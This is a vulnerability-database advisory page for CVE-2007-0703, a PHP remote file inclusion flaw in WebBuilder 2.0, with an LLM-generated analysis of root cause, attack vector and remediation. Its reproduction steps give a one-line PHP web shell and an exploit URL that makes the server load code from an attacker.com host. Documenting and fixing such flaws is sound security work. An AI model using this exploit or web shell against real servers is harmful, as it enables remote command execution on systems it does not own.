VYPR
Unrated severityNVD Advisory· Published Feb 4, 2007· Updated Apr 23, 2026

CVE-2007-0703

CVE-2007-0703

Description

PHP remote file inclusion vulnerability in library/StageLoader.php in WebBuilder 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[core][module_path] parameter.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

2
  • cpe:2.3:a:webbuilder:webbuilder:*:*:*:*:*:*:*:*+ 1 more
    • cpe:2.3:a:webbuilder:webbuilder:*:*:*:*:*:*:*:*range: <=2.0
    • (no CPE)range: <=2.0

Patches

Vulnerability mechanics

Root cause

"Unvalidated user input passed directly into a `require_once()` call allows remote file inclusion."

Attack vector

An attacker can send an HTTP GET request to the vulnerable script, passing a URL in the `GLOBALS[core][module_path]` parameter. Because PHP's `register_globals` is off (as shown in the included `.htaccess` file [ref_id=1]), the attacker must explicitly provide the parameter via the query string. The `require_once()` call then includes the attacker-supplied remote URL, allowing execution of arbitrary PHP code from an external server. The exploit URL pattern is `http://victim.com/[path]/library/StageLoader.php?GLOBALS[core][module_path]=Evil.txt?` [ref_id=1][ref_id=2].

Affected code

The vulnerable file is `/library/StageLoader.php`. The first line of code in that file is `require_once($GLOBALS['core']['module_path'].'/module_common.php');` [ref_id=1][ref_id=2]. The `$GLOBALS['core']['module_path']` value is taken directly from user-supplied input without any sanitization or validation.

What the fix does

No patch is provided in the bundle. The advisory and exploit references do not describe any vendor-supplied fix [ref_id=1][ref_id=2]. To remediate this vulnerability, the application should validate that `$GLOBALS['core']['module_path']` is a local path (not a URL) and should not allow user-controlled input to directly set this variable. A proper fix would involve either hard-coding the module path, restricting it to an allowlist of known local directories, or sanitizing the input to reject URLs and path traversal sequences.

Preconditions

  • networkThe attacker must be able to send HTTP requests to the vulnerable WebBuilder instance.
  • authNo authentication is required; the vulnerable script is directly accessible via HTTP.
  • inputThe attacker must host a malicious PHP file at a URL they control, or use an existing accessible URL containing PHP code.

Reproduction

1. Host a PHP web shell (e.g., `Evil.txt` containing `system($_GET['cmd']);`) on an attacker-controlled server. 2. Send a request to the target: `http://victim.com/[path]/library/StageLoader.php?GLOBALS[core][module_path]=http://attacker.com/Evil.txt?` [ref_id=1][ref_id=2]. 3. The trailing `?` in the exploit URL treats the appended `/module_common.php` as a query string, preventing it from interfering with the remote file inclusion. 4. The remote file is executed by the server, allowing arbitrary command execution.

Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.